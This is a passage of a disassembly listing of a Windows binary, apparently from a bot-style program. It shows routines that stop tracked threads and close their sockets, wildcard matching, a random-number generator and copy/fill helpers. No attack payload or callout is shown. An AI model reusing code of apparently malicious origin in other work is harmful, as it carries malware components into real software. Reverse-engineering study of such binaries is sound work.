		push	offset aD_S	; "%d. %s"
		push	eax
		call	sub_4154E7
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 24h


loc_4150BB:				; CODE XREF: sub_415050+2Dj
					; sub_415050+3Cj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_468818
		jl	short loc_41507A
		pop	edi
		pop	esi
		leave
		retn
sub_415050	endp


; =============== S U B	R O U T	I N E =======================================



sub_4150CE	proc near		; CODE XREF: sub_40CE55+4A16p
					; sub_41515C+12p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		xor	ebx, ebx
		xor	ebp, ebp
		cmp	esi, ebx
		jle	short loc_415156
		cmp	esi, 12Ch
		jge	short loc_415156
		imul	esi, 234h
		push	edi
		push	ebx
		push	dword_43F53C[esi]
		lea	edi, dword_43F53C[esi]
		call	dword_421130	; TerminateThread
		cmp	[edi], ebx
		jz	short loc_415106
		push	1
		pop	ebp


loc_415106:				; CODE XREF: sub_4150CE+33j
		mov	[edi], ebx
		lea	edi, dword_43F530[esi]
		mov	dword_43F528[esi], ebx
		mov	dword_43F52C[esi], ebx
		mov	eax, [edi]
		cmp	eax, ebx
		jbe	short loc_415127
		push	eax
		call	sub_414061
		pop	ecx


loc_415127:				; CODE XREF: sub_4150CE+50j
		mov	[edi], ebx
		lea	edi, dword_43F534[esi]
		mov	byte ptr dword_43F328[esi], bl
		mov	byte_43F540[esi], bl
		push	dword ptr [edi]
		call	dword_43A430	; closesocket
		lea	esi, dword_43F538[esi]
		mov	[edi], ebx
		push	dword ptr [esi]
		call	dword_43A430	; closesocket
		mov	[esi], ebx
		pop	edi


loc_415156:				; CODE XREF: sub_4150CE+Dj
					; sub_4150CE+15j
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4150CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_41515C	proc near		; CODE XREF: sub_409E15:loc_409E39p
					; sub_40C59A+18p ...
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		mov	esi, offset dword_43F328


loc_415168:				; CODE XREF: sub_41515C+2Aj
		cmp	byte ptr [esi],	0
		jz	short loc_415179
		push	edi
		call	sub_4150CE
		test	eax, eax
		pop	ecx
		jz	short loc_415179
		inc	ebx


loc_415179:				; CODE XREF: sub_41515C+Fj
					; sub_41515C+1Aj
		add	esi, 234h
		inc	edi
		cmp	esi, offset dword_468818
		jl	short loc_415168
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		retn
sub_41515C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41518E	proc near		; CODE XREF: sub_40CE55+1CC9p
					; sub_40CE55+1D37p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], ebx
		mov	esi, offset dword_43F52C


loc_4151A2:				; CODE XREF: sub_41518E+43j
		mov	eax, [esi-4]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_4151C4
		test	edi, edi
		jle	short loc_4151B6
		cmp	[esi], edi
		jz	short loc_4151B6
		cmp	ebx, edi
		jnz	short loc_4151C4


loc_4151B6:				; CODE XREF: sub_41518E+1Ej
					; sub_41518E+22j
		push	ebx
		call	sub_4150CE
		test	eax, eax
		pop	ecx
		jz	short loc_4151C4
		inc	[ebp+var_4]


loc_4151C4:				; CODE XREF: sub_41518E+1Aj
					; sub_41518E+26j ...
		add	esi, 234h
		inc	ebx
		cmp	esi, offset dword_468A1C
		jl	short loc_4151A2
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41518E	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151DB	proc near		; CODE XREF: sub_4071FF+Bp
					; sub_407276+2Dp ...

arg_0		= dword	ptr  4

		xor	eax, eax
		mov	ecx, offset dword_43F528


loc_4151E2:				; CODE XREF: sub_4151DB+1Cj
		mov	edx, [ecx]
		cmp	edx, [esp+arg_0]
		jnz	short loc_4151EB
		inc	eax


loc_4151EB:				; CODE XREF: sub_4151DB+Dj
		add	ecx, 234h
		cmp	ecx, offset dword_468A18
		jl	short loc_4151E2
		retn
sub_4151DB	endp


; =============== S U B	R O U T	I N E =======================================



sub_4151FA	proc near		; CODE XREF: sub_40CE55+50EBp

arg_0		= dword	ptr  4

		xor	eax, eax
		push	esi
		xor	edx, edx
		mov	ecx, offset dword_43F528


loc_415204:				; CODE XREF: sub_4151FA+1Fj
		mov	esi, [ecx]
		cmp	esi, [esp+4+arg_0]
		jz	short loc_41521D
		add	ecx, 234h
		inc	edx
		cmp	ecx, offset dword_468A18
		jl	short loc_415204
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41521D:				; CODE XREF: sub_4151FA+10j
		mov	eax, edx
		pop	esi
		retn
sub_4151FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415221	proc near		; CODE XREF: sub_40CE55+1062p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		xor	eax, eax
		cmp	[ebp+arg_1C], eax
		jz	short loc_41523A
		push	[ebp+arg_1C]
		call	sub_415A5F
		pop	ecx


loc_41523A:				; CODE XREF: sub_415221+Ej
		push	eax
		push	[ebp+arg_18]
		call	sub_41518E
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_415266
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	offset aSSStopped_DThr ; "%s: %s stopped. (%d thread(s)	stopped.)"...
		push	eax
		call	sub_4154E7
		add	esp, 14h
		jmp	short loc_415280
; ---------------------------------------------------------------------------


loc_415266:				; CODE XREF: sub_415221+26j
		push	[ebp+arg_14]
		lea	eax, [ebp+var_200]
		push	[ebp+arg_10]
		push	offset aSNoSThreadFoun ; "%s: No %s thread found."
		push	eax
		call	sub_4154E7
		add	esp, 10h


loc_415280:				; CODE XREF: sub_415221+43j
		cmp	[ebp+arg_C], 0
		jnz	short loc_4152A0
		push	0
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_412D4C
		add	esp, 14h


loc_4152A0:				; CODE XREF: sub_415221+63j
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_40B16D
		pop	ecx
		leave
		retn
sub_415221	endp


; =============== S U B	R O U T	I N E =======================================



sub_4152AF	proc near		; CODE XREF: sub_401000+A2p
					; sub_401447+8Dp ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx
		imul	eax, 234h
		mov	dword_43F53C[eax], ecx
		mov	dword_43F528[eax], ecx
		mov	dword_43F52C[eax], ecx
		mov	dword_43F530[eax], ecx
		mov	dword_43F534[eax], ecx
		mov	dword_43F538[eax], ecx
		mov	byte ptr dword_43F328[eax], cl
		mov	byte_43F540[eax], cl
		retn
sub_4152AF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4152EC	proc near		; CODE XREF: sub_40CE55+5BF6p
					; sub_41541A+6Bp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		push	1
		pop	eax


loc_4152F6:				; CODE XREF: sub_4152EC+68j
		mov	cl, [esi]
		test	cl, cl
		jz	short loc_415356
		cmp	eax, 1
		jnz	short loc_415356
		mov	edx, [ebp+arg_4]
		mov	dl, [edx]
		test	dl, dl
		jz	short loc_415356
		cmp	cl, 2Ah
		jz	short loc_41533D
		cmp	cl, 3Fh
		jz	short loc_415320
		cmp	cl, 5Bh
		jz	short loc_415325
		xor	eax, eax
		cmp	cl, dl
		setz	al


loc_415320:				; CODE XREF: sub_4152EC+26j
		inc	[ebp+arg_4]
		jmp	short loc_415350
; ---------------------------------------------------------------------------


loc_415325:				; CODE XREF: sub_4152EC+2Bj
		lea	eax, [ebp+arg_4]
		inc	esi
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+arg_0], esi
		call	sub_415382
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_415350
; ---------------------------------------------------------------------------


loc_41533D:				; CODE XREF: sub_4152EC+21j
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+arg_0]
		push	eax
		call	sub_41541A
		mov	esi, [ebp+arg_0]
		pop	ecx
		pop	ecx
		dec	esi


loc_415350:				; CODE XREF: sub_4152EC+37j
					; sub_4152EC+4Fj
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_4152F6
; ---------------------------------------------------------------------------


loc_415356:				; CODE XREF: sub_4152EC+Ej
					; sub_4152EC+13j ...
		cmp	byte ptr [esi],	2Ah
		jnz	short loc_415366
		cmp	eax, 1
		jnz	short loc_41537D
		inc	esi
		mov	[ebp+arg_0], esi
		jmp	short loc_415356
; ---------------------------------------------------------------------------


loc_415366:				; CODE XREF: sub_4152EC+6Dj
		cmp	eax, 1
		jnz	short loc_41537D
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	0
		jnz	short loc_41537D
		cmp	byte ptr [esi],	0
		jnz	short loc_41537D
		push	1
		pop	eax
		jmp	short loc_41537F
; ---------------------------------------------------------------------------


loc_41537D:				; CODE XREF: sub_4152EC+72j
					; sub_4152EC+7Dj ...
		xor	eax, eax


loc_41537F:				; CODE XREF: sub_4152EC+8Fj
		pop	esi
		pop	ebp
		retn
sub_4152EC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415382	proc near		; CODE XREF: sub_4152EC+45p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edi
		xor	edi, edi
		push	1
		mov	ecx, [edx]
		and	[ebp+var_8], edi
		pop	eax
		cmp	byte ptr [ecx],	21h
		mov	[ebp+var_4], eax
		jnz	short loc_4153A3
		inc	ecx
		mov	[ebp+var_8], eax
		mov	[edx], ecx


loc_4153A3:				; CODE XREF: sub_415382+19j
		push	ebx
		push	esi


loc_4153A5:				; CODE XREF: sub_415382+7Bj
		mov	ecx, [edx]
		mov	bl, [ecx]
		cmp	bl, 5Dh
		jnz	short loc_4153B3
		cmp	[ebp+var_4], eax
		jnz	short loc_4153FF


loc_4153B3:				; CODE XREF: sub_415382+2Aj
		test	edi, edi
		jnz	short loc_4153F4
		cmp	bl, 2Dh
		jnz	short loc_4153E8
		mov	al, [ecx+1]
		lea	esi, [ecx+1]
		mov	cl, [ecx-1]
		cmp	cl, al
		jge	short loc_4153E8
		cmp	al, 5Dh
		jz	short loc_4153E8
		cmp	[ebp+var_4], edi
		jnz	short loc_4153E8
		mov	ebx, [ebp+arg_4]
		mov	ebx, [ebx]
		mov	bl, [ebx]
		cmp	bl, cl
		jl	short loc_4153F4
		cmp	bl, al
		jg	short loc_4153F4
		push	1
		mov	[edx], esi
		pop	edi
		jmp	short loc_4153F4
; ---------------------------------------------------------------------------


loc_4153E8:				; CODE XREF: sub_415382+38j
					; sub_415382+45j ...
		mov	eax, [ebp+arg_4]
		mov	eax, [eax]
		cmp	bl, [eax]
		jnz	short loc_4153F4
		push	1
		pop	edi


loc_4153F4:				; CODE XREF: sub_415382+33j
					; sub_415382+59j ...
		inc	dword ptr [edx]
		and	[ebp+var_4], 0
		push	1
		pop	eax
		jmp	short loc_4153A5
; ---------------------------------------------------------------------------


loc_4153FF:				; CODE XREF: sub_415382+2Fj
		cmp	[ebp+var_8], eax
		pop	esi
		pop	ebx
		jnz	short loc_41540C
		mov	ecx, eax
		sub	ecx, edi
		mov	edi, ecx


loc_41540C:				; CODE XREF: sub_415382+82j
		cmp	edi, eax
		jnz	short loc_415415
		mov	eax, [ebp+arg_4]
		inc	dword ptr [eax]


loc_415415:				; CODE XREF: sub_415382+8Cj
		mov	eax, edi
		pop	edi
		leave
		retn
sub_415382	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41541A	proc near		; CODE XREF: sub_4152EC+59p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		mov	edi, [ebp+arg_4]
		mov	[ebp+var_4], 1
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		xor	ebx, ebx


loc_415436:				; CODE XREF: sub_41541A+3Aj
		cmp	[eax], bl
		jz	short loc_415456
		mov	cl, [ecx]
		cmp	cl, 3Fh
		jz	short loc_41544B
		cmp	cl, 2Ah
		jnz	short loc_415456
		cmp	cl, 3Fh
		jnz	short loc_41544E


loc_41544B:				; CODE XREF: sub_41541A+25j
		inc	eax
		mov	[edi], eax


loc_41544E:				; CODE XREF: sub_41541A+2Fj
		inc	dword ptr [esi]
		mov	ecx, [esi]
		mov	eax, [edi]
		jmp	short loc_415436
; ---------------------------------------------------------------------------


loc_415456:				; CODE XREF: sub_41541A+1Ej
					; sub_41541A+2Aj ...
		mov	eax, [esi]
		cmp	byte ptr [eax],	2Ah
		jnz	short loc_415461
		inc	dword ptr [esi]
		jmp	short loc_415456
; ---------------------------------------------------------------------------


loc_415461:				; CODE XREF: sub_41541A+41j
		mov	eax, [edi]
		mov	cl, [eax]
		cmp	cl, bl
		jnz	short loc_415482
		mov	edx, [esi]
		cmp	[edx], bl
		jz	short loc_415473
		xor	eax, eax
		jmp	short loc_4154E2
; ---------------------------------------------------------------------------


loc_415473:				; CODE XREF: sub_41541A+53j
		cmp	cl, bl
		jnz	short loc_415482
		mov	ecx, [esi]
		cmp	[ecx], bl
		jnz	short loc_415482
		push	1
		pop	eax
		jmp	short loc_4154E2
; ---------------------------------------------------------------------------


loc_415482:				; CODE XREF: sub_41541A+4Dj
					; sub_41541A+5Bj ...
		push	eax
		push	dword ptr [esi]
		call	sub_4152EC
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4154CC


loc_415490:				; CODE XREF: sub_41541A+B0j
		inc	dword ptr [edi]
		mov	eax, [edi]


loc_415494:				; CODE XREF: sub_41541A+90j
		mov	ecx, [esi]
		mov	dl, [eax]
		mov	cl, [ecx]
		cmp	cl, dl
		jz	short loc_4154AC
		cmp	cl, 5Bh
		jz	short loc_4154AC
		cmp	dl, bl
		jz	short loc_4154AC
		inc	eax
		mov	[edi], eax
		jmp	short loc_415494
; ---------------------------------------------------------------------------


loc_4154AC:				; CODE XREF: sub_41541A+82j
					; sub_41541A+87j ...
		mov	eax, [edi]
		cmp	[eax], bl
		jz	short loc_4154C3
		push	eax
		push	dword ptr [esi]
		call	sub_4152EC
		neg	eax
		pop	ecx
		sbb	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4154C8
; ---------------------------------------------------------------------------


loc_4154C3:				; CODE XREF: sub_41541A+96j
		mov	[ebp+var_4], ebx
		xor	eax, eax


loc_4154C8:				; CODE XREF: sub_41541A+A7j
		cmp	eax, ebx
		jnz	short loc_415490


loc_4154CC:				; CODE XREF: sub_41541A+74j
		mov	eax, [edi]
		cmp	[eax], bl
		jnz	short loc_4154DF
		mov	eax, [esi]
		cmp	[eax], bl
		jnz	short loc_4154DF
		mov	[ebp+var_4], 1


loc_4154DF:				; CODE XREF: sub_41541A+B6j
					; sub_41541A+BCj
		mov	eax, [ebp+var_4]


loc_4154E2:				; CODE XREF: sub_41541A+57j
					; sub_41541A+66j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41541A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4154E7	proc near		; CODE XREF: sub_401000+61p
					; sub_4010B2+308p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_14], 42h
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		mov	[ebp+var_1C], 7FFFFFFFh
		push	eax
		call	sub_417D4C
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_415527
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_415534
; ---------------------------------------------------------------------------


loc_415527:				; CODE XREF: sub_4154E7+36j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_417C37
		pop	ecx
		pop	ecx


loc_415534:				; CODE XREF: sub_4154E7+3Ej
		mov	eax, esi
		pop	esi
		leave
		retn
sub_4154E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_415539	proc near		; CODE XREF: sub_401000+2Ep
					; sub_401BD6+46p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	dword_437D20, eax
		retn
sub_415539	endp


; =============== S U B	R O U T	I N E =======================================



sub_415543	proc near		; CODE XREF: sub_4010B2+CBp
					; sub_4010B2+13Fp ...
		mov	eax, dword_437D20
		imul	eax, 343FDh
		add	eax, 269EC3h
		mov	dword_437D20, eax
		sar	eax, 10h
		and	eax, 7FFFh
		retn
sub_415543	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_415570	proc near		; CODE XREF: sub_4010B2+281p
					; sub_401447+180p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_4155C3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_4155B7
		neg	ecx
		and	ecx, 3
		jz	short loc_415599
		sub	edx, ecx


loc_415593:				; CODE XREF: sub_415570+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_415593


loc_415599:				; CODE XREF: sub_415570+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_4155B7
		rep stosd
		test	edx, edx
		jz	short loc_4155BD


loc_4155B7:				; CODE XREF: sub_415570+18j
					; sub_415570+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_4155B7


loc_4155BD:				; CODE XREF: sub_415570+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4155C3:				; CODE XREF: sub_415570+Aj
		mov	eax, [esp+arg_0]
		retn
sub_415570	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155D0	proc near		; CODE XREF: sub_4010B2+22Dp
					; sub_4010B2+23Ep ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_4155F0
		cmp	edi, eax
		jb	loc_415768


loc_4155F0:				; CODE XREF: sub_4155D0+16j
		test	edi, 3
		jnz	short loc_41560C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------


loc_41560C:				; CODE XREF: sub_4155D0+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_415624
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41562C+4[eax*4]
; ---------------------------------------------------------------------------


loc_415624:				; CODE XREF: sub_4155D0+46j
		jmp	dword ptr loc_415728[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41562C:				; CODE XREF: sub_4155D0+31j
					; sub_4155D0+8Ej ...
		jmp	off_4156AC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415640
		dd offset loc_41566C
		dd offset loc_415690
; ---------------------------------------------------------------------------


loc_415640:				; DATA XREF: sub_4155D0+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41566C:				; DATA XREF: sub_4155D0+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415690:				; DATA XREF: sub_4155D0+6Co
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41562C
		rep movsd
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_4156AC	dd offset loc_41570F	; DATA XREF: sub_4155D0:loc_41562Cr
		dd offset loc_4156FC
		dd offset loc_4156F4
		dd offset loc_4156EC
		dd offset loc_4156E4
		dd offset loc_4156DC
		dd offset loc_4156D4
		dd offset loc_4156CC
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_4156D4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_4156DC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_4156E4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_4156EC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_4156F4:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_4156FC:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41570F:				; CODE XREF: sub_4155D0:loc_41562Cj
					; DATA XREF: sub_4155D0:off_4156ACo
		jmp	off_415718[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_415718	dd offset loc_415728	; DATA XREF: sub_4155D0+35r
					; sub_4155D0+92r ...
		dd offset loc_415730
		dd offset loc_41573C
		dd offset loc_415750
; ---------------------------------------------------------------------------


loc_415728:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415730:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41573C:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_415750:				; CODE XREF: sub_4155D0+35j
					; sub_4155D0+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_415768:				; CODE XREF: sub_4155D0+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41579C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_415790:				; CODE XREF: sub_4155D0+1B1j
					; sub_4155D0+208j ...
		neg	ecx
		jmp	off_415860[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41579C:				; CODE XREF: sub_4155D0+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_4157B4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_4157B4+4[eax*4]
; ---------------------------------------------------------------------------


loc_4157B4:				; CODE XREF: sub_4155D0+1D6j
					; DATA XREF: sub_4155D0+1DDr
		jmp	off_4158B0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_4157C7+1
		dd offset loc_4157E8
; ---------------------------------------------------------------------------
		adc	[eax+41h], bl


loc_4157C7:				; DATA XREF: sub_4155D0+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_4157E8:				; DATA XREF: sub_4155D0+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_415790
		std
		rep movsd
		cld
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_415864
		dd offset loc_41586C
		dd offset loc_415874
		dd offset loc_41587C
		dd offset loc_415884
		dd offset loc_41588C
		dd offset loc_415894
off_415860	dd offset loc_4158A7	; DATA XREF: sub_4155D0+1C2r
; ---------------------------------------------------------------------------


loc_415864:				; DATA XREF: sub_4155D0+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41586C:				; DATA XREF: sub_4155D0+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_415874:				; DATA XREF: sub_4155D0+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41587C:				; DATA XREF: sub_4155D0+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_415884:				; DATA XREF: sub_4155D0+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41588C:				; DATA XREF: sub_4155D0+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_415894:				; DATA XREF: sub_4155D0+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_4158A7:				; CODE XREF: sub_4155D0+1C2j
					; DATA XREF: sub_4155D0:off_415860o
		jmp	off_4158B0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_4158B0	dd offset loc_4158C0	; DATA XREF: sub_4155D0+1B7r
					; sub_4155D0:loc_4157B4r ...
		dd offset loc_4158C8
		dd offset loc_4158D8
		dd offset loc_4158EC
; ---------------------------------------------------------------------------


loc_4158C0:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_4158C8:				; CODE XREF: sub_4155D0+1B7j
					; sub_4155D0:loc_4157B4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4

